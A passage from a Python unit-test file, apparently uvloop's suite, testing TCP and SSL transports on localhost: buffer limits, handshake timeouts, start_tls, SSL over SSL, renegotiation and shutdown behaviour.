except TypeError:
pass
await w.drain()
for _ in range(N):
w.write(DATA)
await w.drain()
w.close()
await fut
await self.wait_closed(w)
srv.close()
await srv.wait_closed()
self.assertEqual(TOTAL, N * 2 * len(DATA) + 14 * len(DATA))
self.loop.run_until_complete(run())
@unittest.skipIf(sys.version_info[:3] >= (3, 8, 0),
"3.8 has a different method of GCing unclosed streams")
def test_tcp_handle_unclosed_gc(self):
fut = self.loop.create_future()
async def server(reader, writer):
writer.transport.abort()
fut.set_result(True)
async def run():
addr = srv.sockets[0].getsockname()
await asyncio.open_connection(*addr)
await fut
srv.close()
await srv.wait_closed()
srv = self.loop.run_until_complete(asyncio.start_server(
server,
'127.0.0.1', 0,
family=socket.AF_INET))
if self.loop.get_debug():
rx = r'unclosed resource <TCP.*; ' \
r'object created at(.|\n)*test_tcp_handle_unclosed_gc'
else:
rx = r'unclosed resource <TCP.*'
with self.assertWarnsRegex(ResourceWarning, rx):
self.loop.create_task(run())
self.loop.run_until_complete(srv.wait_closed())
self.loop.run_until_complete(asyncio.sleep(0.1))
srv = None
gc.collect()
gc.collect()
gc.collect()
self.loop.run_until_complete(asyncio.sleep(0.1))
# Since one TCPTransport handle wasn't closed correctly,
# we need to disable this check:
self.skip_unclosed_handles_check()
def test_tcp_handle_abort_in_connection_made(self):
async def server(reader, writer):
try:
await reader.read()
finally:
writer.close()
class Proto(asyncio.Protocol):
def connection_made(self, tr):
tr.abort()
srv = self.loop.run_until_complete(asyncio.start_server(
server,
'127.0.0.1', 0,
family=socket.AF_INET))
async def runner():
tr, pr = await asyncio.wait_for(
self.loop.create_connection(
Proto, *srv.sockets[0].getsockname()),
timeout=1.0)
# Asyncio would return a closed socket, which we
# can't do: the transport was aborted, hence there
# is no FD to attach a socket to (to make
# get_extra_info() work).
self.assertIsNone(tr.get_extra_info('socket'))
tr.close()
self.loop.run_until_complete(runner())
srv.close()
self.loop.run_until_complete(srv.wait_closed())
def test_connect_accepted_socket_ssl_args(self):
if self.implementation == 'asyncio' and not self.PY37:
raise unittest.SkipTest()
with self.assertRaisesRegex(
ValueError, 'ssl_handshake_timeout is only meaningful'):
with socket.socket() as s:
self.loop.run_until_complete(
self.loop.connect_accepted_socket(
(lambda: None), s, ssl_handshake_timeout=10.0))
def test_connect_accepted_socket(self, server_ssl=None, client_ssl=None):
loop = self.loop
class MyProto(MyBaseProto):
def connection_lost(self, exc):
super().connection_lost(exc)
loop.call_soon(loop.stop)
def data_received(self, data):
super().data_received(data)
self.transport.write(expected_response)
lsock = socket.socket(socket.AF_INET)
lsock.bind(('127.0.0.1', 0))
lsock.listen(1)
addr = lsock.getsockname()
message = b'test data'
response = None
expected_response = b'roger'
def client():
nonlocal response
try:
csock = socket.socket(socket.AF_INET)
if client_ssl is not None:
csock = client_ssl.wrap_socket(csock)
csock.connect(addr)
csock.sendall(message)
response = csock.recv(99)
csock.close()
except Exception as exc:
print(
"Failure in client thread in test_connect_accepted_socket",
exc)
thread = threading.Thread(target=client, daemon=True)
thread.start()
conn, _ = lsock.accept()
proto = MyProto(loop=loop)
proto.loop = loop
extras = {}
if server_ssl and (self.implementation != 'asyncio' or self.PY37):
extras = dict(ssl_handshake_timeout=10.0)
f = loop.create_task(
loop.connect_accepted_socket(
(lambda: proto), conn, ssl=server_ssl,
**extras))
loop.run_forever()
conn.close()
lsock.close()
thread.join(1)
self.assertFalse(thread.is_alive())
self.assertEqual(proto.state, 'CLOSED')
self.assertEqual(proto.nbytes, len(message))
self.assertEqual(response, expected_response)
tr, _ = f.result()
if server_ssl:
self.assertIn('SSL', tr.__class__.__name__)
tr.close()
# let it close
self.loop.run_until_complete(asyncio.sleep(0.1))
@unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'no Unix sockets')
def test_create_connection_wrong_sock(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
with sock:
coro = self.loop.create_connection(MyBaseProto, sock=sock)
with self.assertRaisesRegex(ValueError,
'A Stream Socket was expected'):
self.loop.run_until_complete(coro)
@unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'no Unix sockets')
def test_create_server_wrong_sock(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
with sock:
coro = self.loop.create_server(MyBaseProto, sock=sock)
with self.assertRaisesRegex(ValueError,
'A Stream Socket was expected'):
self.loop.run_until_complete(coro)
@unittest.skipUnless(hasattr(socket, 'SOCK_NONBLOCK'),
'no socket.SOCK_NONBLOCK (linux only)')
def test_create_server_stream_bittype(self):
sock = socket.socket(
socket.AF_INET, socket.SOCK_STREAM | socket.SOCK_NONBLOCK)
with sock:
coro = self.loop.create_server(lambda: None, sock=sock)
srv = self.loop.run_until_complete(coro)
srv.close()
self.loop.run_until_complete(srv.wait_closed())
def test_flowcontrol_mixin_set_write_limits(self):
async def client(addr):
paused = False
class Protocol(asyncio.Protocol):
def pause_writing(self):
nonlocal paused
paused = True
def resume_writing(self):
nonlocal paused
paused = False
t, p = await self.loop.create_connection(Protocol, *addr)
t.write(b'q' * 512)
self.assertEqual(t.get_write_buffer_size(), 512)
t.set_write_buffer_limits(low=16385)
self.assertFalse(paused)
self.assertEqual(t.get_write_buffer_limits(), (16385, 65540))
with self.assertRaisesRegex(ValueError, 'high.*must be >= low'):
t.set_write_buffer_limits(high=0, low=1)
t.set_write_buffer_limits(high=1024, low=128)
self.assertFalse(paused)
self.assertEqual(t.get_write_buffer_limits(), (128, 1024))
t.set_write_buffer_limits(high=256, low=128)
self.assertTrue(paused)
self.assertEqual(t.get_write_buffer_limits(), (128, 256))
t.close()
with self.tcp_server(lambda sock: sock.recv_all(1),
max_clients=1,
backlog=1) as srv:
self.loop.run_until_complete(client(srv.addr))
class Test_AIO_TCP(_TestTCP, tb.AIOTestCase):
pass
class _TestSSL(tb.SSLTestCase):
ONLYCERT = tb._cert_fullname(__file__, 'ssl_cert.pem')
ONLYKEY = tb._cert_fullname(__file__, 'ssl_key.pem')
PAYLOAD_SIZE = 1024 * 100
TIMEOUT = 60
def test_create_server_ssl_1(self):
CNT = 0 # number of clients that were successful
TOTAL_CNT = 25 # total number of clients that test will create
TIMEOUT = 10.0 # timeout for this test
A_DATA = b'A' * 1024 * 1024
B_DATA = b'B' * 1024 * 1024
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
clients = []
async def handle_client(reader, writer):
nonlocal CNT
data = await reader.readexactly(len(A_DATA))
self.assertEqual(data, A_DATA)
writer.write(b'OK')
data = await reader.readexactly(len(B_DATA))
self.assertEqual(data, B_DATA)
writer.writelines([b'SP', bytearray(b'A'), memoryview(b'M')])
await writer.drain()
writer.close()
CNT += 1
async def test_client(addr):
fut = asyncio.Future()
def prog(sock):
try:
sock.starttls(client_sslctx)
sock.connect(addr)
sock.send(A_DATA)
data = sock.recv_all(2)
self.assertEqual(data, b'OK')
sock.send(B_DATA)
data = sock.recv_all(4)
self.assertEqual(data, b'SPAM')
sock.close()
except Exception as ex:
self.loop.call_soon_threadsafe(fut.set_exception, ex)
else:
self.loop.call_soon_threadsafe(fut.set_result, None)
client = self.tcp_client(prog)
client.start()
clients.append(client)
await fut
async def start_server():
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras = dict(ssl_handshake_timeout=10.0)
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET,
ssl=sslctx,
**extras)
try:
srv_socks = srv.sockets
self.assertTrue(srv_socks)
addr = srv_socks[0].getsockname()
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT)
finally:
self.loop.call_soon(srv.close)
await srv.wait_closed()
with self._silence_eof_received_warning():
self.loop.run_until_complete(start_server())
self.assertEqual(CNT, TOTAL_CNT)
for client in clients:
client.stop()
def test_create_connection_ssl_1(self):
if self.implementation == 'asyncio':
# Don't crash on asyncio errors
self.loop.set_exception_handler(None)
CNT = 0
TOTAL_CNT = 25
A_DATA = b'A' * 1024 * 1024
B_DATA = b'B' * 1024 * 1024
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
def server(sock):
sock.starttls(
sslctx,
server_side=True)
data = sock.recv_all(len(A_DATA))
self.assertEqual(data, A_DATA)
sock.send(b'OK')
data = sock.recv_all(len(B_DATA))
self.assertEqual(data, B_DATA)
sock.send(b'SPAM')
sock.close()
async def client(addr):
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras = dict(ssl_handshake_timeout=10.0)
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='',
**extras)
writer.write(A_DATA)
self.assertEqual(await reader.readexactly(2), b'OK')
writer.write(B_DATA)
self.assertEqual(await reader.readexactly(4), b'SPAM')
nonlocal CNT
CNT += 1
writer.close()
await self.wait_closed(writer)
async def client_sock(addr):
sock = socket.socket()
sock.connect(addr)
reader, writer = await asyncio.open_connection(
sock=sock,
ssl=client_sslctx,
server_hostname='')
writer.write(A_DATA)
self.assertEqual(await reader.readexactly(2), b'OK')
writer.write(B_DATA)
self.assertEqual(await reader.readexactly(4), b'SPAM')
nonlocal CNT
CNT += 1
writer.close()
await self.wait_closed(writer)
sock.close()
def run(coro):
nonlocal CNT
CNT = 0
with self.tcp_server(server,
max_clients=TOTAL_CNT,
backlog=TOTAL_CNT) as srv:
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(coro(srv.addr))
self.loop.run_until_complete(asyncio.gather(*tasks))
self.assertEqual(CNT, TOTAL_CNT)
with self._silence_eof_received_warning():
run(client)
with self._silence_eof_received_warning():
run(client_sock)
def test_create_connection_ssl_slow_handshake(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
client_sslctx = self._create_client_ssl_context()
# silence error logger
self.loop.set_exception_handler(lambda *args: None)
def server(sock):
try:
sock.recv_all(1024 * 1024)
except ConnectionAbortedError:
pass
finally:
sock.close()
async def client(addr):
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='',
ssl_handshake_timeout=1.0)
writer.close()
await self.wait_closed(writer)
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
with self.assertRaisesRegex(
ConnectionAbortedError,
r'SSL handshake.*is taking longer'):
self.loop.run_until_complete(client(srv.addr))
def test_create_connection_ssl_failed_certificate(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
# silence error logger
self.loop.set_exception_handler(lambda *args: None)
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context(disable_verify=False)
def server(sock):
try:
sock.starttls(
sslctx,
server_side=True)
sock.connect()
except (ssl.SSLError, OSError):
pass
finally:
sock.close()
async def client(addr):
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='',
ssl_handshake_timeout=1.0)
writer.close()
await self.wait_closed(writer)
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
exc_type = ssl.SSLError
if self.PY37:
exc_type = ssl.SSLCertVerificationError
with self.assertRaises(exc_type):
self.loop.run_until_complete(client(srv.addr))
def test_start_tls_wrong_args(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
async def main():
with self.assertRaisesRegex(TypeError, 'SSLContext, got'):
await self.loop.start_tls(None, None, None)
sslctx = self._create_server_ssl_context(
self.ONLYCERT, self.ONLYKEY)
with self.assertRaisesRegex(TypeError, 'is not supported'):
await self.loop.start_tls(None, None, sslctx)
self.loop.run_until_complete(main())
def test_ssl_handshake_timeout(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
# bpo-29970: Check that a connection is aborted if handshake is not
# completed in timeout period, instead of remaining open indefinitely
client_sslctx = self._create_client_ssl_context()
# silence error logger
messages = []
self.loop.set_exception_handler(lambda loop, ctx: messages.append(ctx))
server_side_aborted = False
def server(sock):
nonlocal server_side_aborted
try:
sock.recv_all(1024 * 1024)
except ConnectionAbortedError:
server_side_aborted = True
finally:
sock.close()
async def client(addr):
await asyncio.wait_for(
self.loop.create_connection(
asyncio.Protocol,
*addr,
ssl=client_sslctx,
server_hostname='',
ssl_handshake_timeout=10.0),
0.5)
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
with self.assertRaises(asyncio.TimeoutError):
self.loop.run_until_complete(client(srv.addr))
self.assertTrue(server_side_aborted)
# Python issue #23197: cancelling a handshake must not raise an
# exception or log an error, even if the handshake failed
self.assertEqual(messages, [])
def test_ssl_handshake_connection_lost(self):
# #246: make sure that no connection_lost() is called before
# connection_made() is called first
client_sslctx = self._create_client_ssl_context()
# silence error logger
self.loop.set_exception_handler(lambda loop, ctx: None)
connection_made_called = False
connection_lost_called = False
def server(sock):
sock.recv(1024)
# break the connection during handshake
sock.close()
class ClientProto(asyncio.Protocol):
def connection_made(self, transport):
nonlocal connection_made_called
connection_made_called = True
def connection_lost(self, exc):
nonlocal connection_lost_called
connection_lost_called = True
async def client(addr):
await self.loop.create_connection(
ClientProto,
*addr,
ssl=client_sslctx,
server_hostname=''),
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
with self.assertRaises(ConnectionResetError):
self.loop.run_until_complete(client(srv.addr))
if connection_lost_called:
if connection_made_called:
self.fail("unexpected call to connection_lost()")
else:
self.fail("unexpected call to connection_lost() without"
"calling connection_made()")
elif connection_made_called:
self.fail("unexpected call to connection_made()")
def test_ssl_connect_accepted_socket(self):
if hasattr(ssl, 'PROTOCOL_TLS'):
proto = ssl.PROTOCOL_TLS
else:
proto = ssl.PROTOCOL_SSLv23
server_context = ssl.SSLContext(proto)
server_context.load_cert_chain(self.ONLYCERT, self.ONLYKEY)
if hasattr(server_context, 'check_hostname'):
server_context.check_hostname = False
server_context.verify_mode = ssl.CERT_NONE
client_context = ssl.SSLContext(proto)
if hasattr(server_context, 'check_hostname'):
client_context.check_hostname = False
client_context.verify_mode = ssl.CERT_NONE
Test_UV_TCP.test_connect_accepted_socket(
self, server_context, client_context)
def test_start_tls_client_corrupted_ssl(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
self.loop.set_exception_handler(lambda loop, ctx: None)
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
def server(sock):
orig_sock = sock.dup()
try:
sock.starttls(
sslctx,
server_side=True)
sock.sendall(b'A\n')
sock.recv_all(1)
orig_sock.send(b'please corrupt the SSL connection')
except ssl.SSLError:
pass
finally:
sock.close()
orig_sock.close()
async def client(addr):
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='')
self.assertEqual(await reader.readline(), b'A\n')
writer.write(b'B')
with self.assertRaises(ssl.SSLError):
await reader.readline()
writer.close()
try:
await self.wait_closed(writer)
except ssl.SSLError:
pass
return 'OK'
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
res = self.loop.run_until_complete(client(srv.addr))
self.assertEqual(res, 'OK')
def test_start_tls_client_reg_proto_1(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
HELLO_MSG = b'1' * self.PAYLOAD_SIZE
server_context = self._create_server_ssl_context(
self.ONLYCERT, self.ONLYKEY)
client_context = self._create_client_ssl_context()
def serve(sock):
sock.settimeout(self.TIMEOUT)
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.starttls(server_context, server_side=True)
sock.sendall(b'O')
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.unwrap()
sock.close()
class ClientProto(asyncio.Protocol):
def __init__(self, on_data, on_eof):
self.on_data = on_data
self.on_eof = on_eof
self.con_made_cnt = 0
def connection_made(proto, tr):
proto.con_made_cnt += 1
# Ensure connection_made gets called only once.
self.assertEqual(proto.con_made_cnt, 1)
def data_received(self, data):
self.on_data.set_result(data)
def eof_received(self):
self.on_eof.set_result(True)
async def client(addr):
await asyncio.sleep(0.5)
on_data = self.loop.create_future()
on_eof = self.loop.create_future()
tr, proto = await self.loop.create_connection(
lambda: ClientProto(on_data, on_eof), *addr)
tr.write(HELLO_MSG)
new_tr = await self.loop.start_tls(tr, proto, client_context)
self.assertEqual(await on_data, b'O')
new_tr.write(HELLO_MSG)
await on_eof
new_tr.close()
with self.tcp_server(serve, timeout=self.TIMEOUT) as srv:
self.loop.run_until_complete(
asyncio.wait_for(client(srv.addr), timeout=10))
def test_create_connection_memory_leak(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
HELLO_MSG = b'1' * self.PAYLOAD_SIZE
server_context = self._create_server_ssl_context(
self.ONLYCERT, self.ONLYKEY)
client_context = self._create_client_ssl_context()
def serve(sock):
sock.settimeout(self.TIMEOUT)
sock.starttls(server_context, server_side=True)
sock.sendall(b'O')
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.unwrap()
sock.close()
class ClientProto(asyncio.Protocol):
def __init__(self, on_data, on_eof):
self.on_data = on_data
self.on_eof = on_eof
self.con_made_cnt = 0
def connection_made(proto, tr):
# XXX: We assume user stores the transport in protocol
proto.tr = tr
proto.con_made_cnt += 1
# Ensure connection_made gets called only once.
self.assertEqual(proto.con_made_cnt, 1)
def data_received(self, data):
self.on_data.set_result(data)
def eof_received(self):
self.on_eof.set_result(True)
async def client(addr):
await asyncio.sleep(0.5)
on_data = self.loop.create_future()
on_eof = self.loop.create_future()
tr, proto = await self.loop.create_connection(
lambda: ClientProto(on_data, on_eof), *addr,
ssl=client_context)
self.assertEqual(await on_data, b'O')
tr.write(HELLO_MSG)
await on_eof
tr.close()
with self.tcp_server(serve, timeout=self.TIMEOUT) as srv:
self.loop.run_until_complete(
asyncio.wait_for(client(srv.addr), timeout=10))
# No garbage is left for SSL client from loop.create_connection, even
# if user stores the SSLTransport in corresponding protocol instance
client_context = weakref.ref(client_context)
self.assertIsNone(client_context())
def test_start_tls_client_buf_proto_1(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
HELLO_MSG = b'1' * self.PAYLOAD_SIZE
server_context = self._create_server_ssl_context(
self.ONLYCERT, self.ONLYKEY)
client_context = self._create_client_ssl_context()
client_con_made_calls = 0
def serve(sock):
sock.settimeout(self.TIMEOUT)
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.starttls(server_context, server_side=True)
sock.sendall(b'O')
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.sendall(b'2')
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.unwrap()
sock.close()
class ClientProtoFirst(asyncio.BaseProtocol):
def __init__(self, on_data):
self.on_data = on_data
self.buf = bytearray(1)
def connection_made(self, tr):
nonlocal client_con_made_calls
client_con_made_calls += 1
def get_buffer(self, sizehint):
return self.buf
def buffer_updated(self, nsize):
assert nsize == 1
self.on_data.set_result(bytes(self.buf[:nsize]))
def eof_received(self):
pass
class ClientProtoSecond(asyncio.Protocol):
def __init__(self, on_data, on_eof):
self.on_data = on_data
self.on_eof = on_eof
self.con_made_cnt = 0
def connection_made(self, tr):
nonlocal client_con_made_calls
client_con_made_calls += 1
def data_received(self, data):
self.on_data.set_result(data)
def eof_received(self):
self.on_eof.set_result(True)
async def client(addr):
await asyncio.sleep(0.5)
on_data1 = self.loop.create_future()
on_data2 = self.loop.create_future()
on_eof = self.loop.create_future()
tr, proto = await self.loop.create_connection(
lambda: ClientProtoFirst(on_data1), *addr)
tr.write(HELLO_MSG)
new_tr = await self.loop.start_tls(tr, proto, client_context)
self.assertEqual(await on_data1, b'O')
new_tr.write(HELLO_MSG)
new_tr.set_protocol(ClientProtoSecond(on_data2, on_eof))
self.assertEqual(await on_data2, b'2')
new_tr.write(HELLO_MSG)
await on_eof
new_tr.close()
# connection_made() should be called only once -- when
# we establish connection for the first time. Start TLS
# doesn't call connection_made() on application protocols.
self.assertEqual(client_con_made_calls, 1)
with self.tcp_server(serve, timeout=self.TIMEOUT) as srv:
self.loop.run_until_complete(
asyncio.wait_for(client(srv.addr),
timeout=self.TIMEOUT))
def test_start_tls_slow_client_cancel(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
HELLO_MSG = b'1' * self.PAYLOAD_SIZE
client_context = self._create_client_ssl_context()
server_waits_on_handshake = self.loop.create_future()
def serve(sock):
sock.settimeout(self.TIMEOUT)
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
try:
self.loop.call_soon_threadsafe(
server_waits_on_handshake.set_result, None)
data = sock.recv_all(1024 * 1024)
except ConnectionAbortedError:
pass
finally:
sock.close()
class ClientProto(asyncio.Protocol):
def __init__(self, on_data, on_eof):
self.on_data = on_data
self.on_eof = on_eof
self.con_made_cnt = 0
def connection_made(proto, tr):
proto.con_made_cnt += 1
# Ensure connection_made gets called only once.
self.assertEqual(proto.con_made_cnt, 1)
def data_received(self, data):
self.on_data.set_result(data)
def eof_received(self):
self.on_eof.set_result(True)
async def client(addr):
await asyncio.sleep(0.5)
on_data = self.loop.create_future()
on_eof = self.loop.create_future()
tr, proto = await self.loop.create_connection(
lambda: ClientProto(on_data, on_eof), *addr)
tr.write(HELLO_MSG)
await server_waits_on_handshake
with self.assertRaises(asyncio.TimeoutError):
await asyncio.wait_for(
self.loop.start_tls(tr, proto, client_context),
0.5)
with self.tcp_server(serve, timeout=self.TIMEOUT) as srv:
self.loop.run_until_complete(
asyncio.wait_for(client(srv.addr), timeout=10))
def test_start_tls_server_1(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
HELLO_MSG = b'1' * self.PAYLOAD_SIZE
server_context = self._create_server_ssl_context(
self.ONLYCERT, self.ONLYKEY)
client_context = self._create_client_ssl_context()
def client(sock, addr):
sock.settimeout(self.TIMEOUT)
sock.connect(addr)
data = sock.recv_all(len(HELLO_MSG))
self.assertEqual(len(data), len(HELLO_MSG))
sock.starttls(client_context)
sock.sendall(HELLO_MSG)
sock.unwrap()
sock.close()
class ServerProto(asyncio.Protocol):
def __init__(self, on_con, on_eof, on_con_lost):
self.on_con = on_con
self.on_eof = on_eof
self.on_con_lost = on_con_lost
self.data = b''
def connection_made(self, tr):
self.on_con.set_result(tr)
def data_received(self, data):
self.data += data
def eof_received(self):
self.on_eof.set_result(1)
def connection_lost(self, exc):
if exc is None:
self.on_con_lost.set_result(None)
else:
self.on_con_lost.set_exception(exc)
async def main(proto, on_con, on_eof, on_con_lost):
tr = await on_con
tr.write(HELLO_MSG)
self.assertEqual(proto.data, b'')
new_tr = await self.loop.start_tls(
tr, proto, server_context,
server_side=True,
ssl_handshake_timeout=self.TIMEOUT)
await on_eof
await on_con_lost
self.assertEqual(proto.data, HELLO_MSG)
new_tr.close()
async def run_main():
on_con = self.loop.create_future()
on_eof = self.loop.create_future()
on_con_lost = self.loop.create_future()
proto = ServerProto(on_con, on_eof, on_con_lost)
server = await self.loop.create_server(
lambda: proto, '127.0.0.1', 0)
addr = server.sockets[0].getsockname()
with self.tcp_client(lambda sock: client(sock, addr),
timeout=self.TIMEOUT):
await asyncio.wait_for(
main(proto, on_con, on_eof, on_con_lost),
timeout=self.TIMEOUT)
server.close()
await server.wait_closed()
self.loop.run_until_complete(run_main())
def test_create_server_ssl_over_ssl(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest('asyncio does not support SSL over SSL')
CNT = 0 # number of clients that were successful
TOTAL_CNT = 25 # total number of clients that test will create
TIMEOUT = 10.0 # timeout for this test
A_DATA = b'A' * 1024 * 1024
B_DATA = b'B' * 1024 * 1024
sslctx_1 = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx_1 = self._create_client_ssl_context()
sslctx_2 = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx_2 = self._create_client_ssl_context()
clients = []
async def handle_client(reader, writer):
nonlocal CNT
data = await reader.readexactly(len(A_DATA))
self.assertEqual(data, A_DATA)
writer.write(b'OK')
data = await reader.readexactly(len(B_DATA))
self.assertEqual(data, B_DATA)
writer.writelines([b'SP', bytearray(b'A'), memoryview(b'M')])
await writer.drain()
writer.close()
CNT += 1
class ServerProtocol(asyncio.StreamReaderProtocol):
def connection_made(self, transport):
super_ = super()
transport.pause_reading()
fut = self._loop.create_task(self._loop.start_tls(
transport, self, sslctx_2, server_side=True))
def cb(_):
try:
tr = fut.result()
except Exception as ex:
super_.connection_lost(ex)
else:
super_.connection_made(tr)
fut.add_done_callback(cb)
def server_protocol_factory():
reader = asyncio.StreamReader()
protocol = ServerProtocol(reader, handle_client)
return protocol
async def test_client(addr):
fut = asyncio.Future()
def prog(sock):
try:
sock.connect(addr)
sock.starttls(client_sslctx_1)
# because wrap_socket() doesn't work correctly on
# SSLSocket, we have to do the 2nd level SSL manually
incoming = ssl.MemoryBIO()
outgoing = ssl.MemoryBIO()
sslobj = client_sslctx_2.wrap_bio(incoming, outgoing)
def do(func, *args):
while True:
try:
rv = func(*args)
break
except ssl.SSLWantReadError:
if outgoing.pending:
sock.send(outgoing.read())
incoming.write(sock.recv(65536))
if outgoing.pending:
sock.send(outgoing.read())
return rv
do(sslobj.do_handshake)
do(sslobj.write, A_DATA)
data = do(sslobj.read, 2)
self.assertEqual(data, b'OK')
do(sslobj.write, B_DATA)
data = b''
while True:
chunk = do(sslobj.read, 4)
if not chunk:
break
data += chunk
self.assertEqual(data, b'SPAM')
do(sslobj.unwrap)
sock.close()
except Exception as ex:
self.loop.call_soon_threadsafe(fut.set_exception, ex)
sock.close()
else:
self.loop.call_soon_threadsafe(fut.set_result, None)
client = self.tcp_client(prog)
client.start()
clients.append(client)
await fut
async def start_server():
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras = dict(ssl_handshake_timeout=10.0)
srv = await self.loop.create_server(
server_protocol_factory,
'127.0.0.1', 0,
family=socket.AF_INET,
ssl=sslctx_1,
**extras)
try:
srv_socks = srv.sockets
self.assertTrue(srv_socks)
addr = srv_socks[0].getsockname()
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT)
finally:
self.loop.call_soon(srv.close)
await srv.wait_closed()
with self._silence_eof_received_warning():
self.loop.run_until_complete(start_server())
self.assertEqual(CNT, TOTAL_CNT)
for client in clients:
client.stop()
def test_renegotiation(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest('asyncio does not support renegotiation')
CNT = 0
TOTAL_CNT = 25
A_DATA = b'A' * 1024 * 1024
B_DATA = b'B' * 1024 * 1024
sslctx = openssl_ssl.Context(openssl_ssl.TLSv1_2_METHOD)
if hasattr(openssl_ssl, 'OP_NO_SSLV2'):
sslctx.set_options(openssl_ssl.OP_NO_SSLV2)
sslctx.use_privatekey_file(self.ONLYKEY)
sslctx.use_certificate_chain_file(self.ONLYCERT)
client_sslctx = self._create_client_ssl_context()
if hasattr(ssl, 'OP_NO_TLSv1_3'):
client_sslctx.options |= ssl.OP_NO_TLSv1_3
def server(sock):
conn = openssl_ssl.Connection(sslctx, sock)
conn.set_accept_state()
data = b''
while len(data) < len(A_DATA):
try:
chunk = conn.recv(len(A_DATA) - len(data))
if not chunk:
break
data += chunk
except openssl_ssl.WantReadError:
pass
self.assertEqual(data, A_DATA)
conn.renegotiate()
if conn.renegotiate_pending():
conn.send(b'OK')
else:
conn.send(b'ER')
data = b''
while len(data) < len(B_DATA):
try:
chunk = conn.recv(len(B_DATA) - len(data))
if not chunk:
break
data += chunk
except openssl_ssl.WantReadError:
pass
self.assertEqual(data, B_DATA)
if conn.renegotiate_pending():
conn.send(b'ERRO')
else:
conn.send(b'SPAM')
conn.shutdown()
async def client(addr):
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras = dict(ssl_handshake_timeout=10.0)
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='',
**extras)
writer.write(A_DATA)
self.assertEqual(await reader.readexactly(2), b'OK')
writer.write(B_DATA)
self.assertEqual(await reader.readexactly(4), b'SPAM')
nonlocal CNT
CNT += 1
writer.close()
await self.wait_closed(writer)
async def client_sock(addr):
sock = socket.socket()
sock.connect(addr)
reader, writer = await asyncio.open_connection(
sock=sock,
ssl=client_sslctx,
server_hostname='')
writer.write(A_DATA)
self.assertEqual(await reader.readexactly(2), b'OK')
writer.write(B_DATA)
self.assertEqual(await reader.readexactly(4), b'SPAM')
nonlocal CNT
CNT += 1
writer.close()
await self.wait_closed(writer)
sock.close()
def run(coro):
nonlocal CNT
CNT = 0
with self.tcp_server(server,
max_clients=TOTAL_CNT,
backlog=TOTAL_CNT) as srv:
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(coro(srv.addr))
self.loop.run_until_complete(
asyncio.gather(*tasks))
self.assertEqual(CNT, TOTAL_CNT)
with self._silence_eof_received_warning():
run(client)
with self._silence_eof_received_warning():
run(client_sock)
def test_shutdown_timeout(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
CNT = 0 # number of clients that were successful
TOTAL_CNT = 25 # total number of clients that test will create
TIMEOUT = 10.0 # timeout for this test
A_DATA = b'A' * 1024 * 1024
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
clients = []
async def handle_client(reader, writer):
nonlocal CNT
data = await reader.readexactly(len(A_DATA))
self.assertEqual(data, A_DATA)
writer.write(b'OK')
await writer.drain()
writer.close()
with self.assertRaisesRegex(asyncio.TimeoutError,
'SSL shutdown timed out'):
await reader.read()
CNT += 1
async def test_client(addr):
fut = asyncio.Future()
def prog(sock):
try:
sock.starttls(client_sslctx)
sock.connect(addr)
sock.send(A_DATA)
data = sock.recv_all(2)
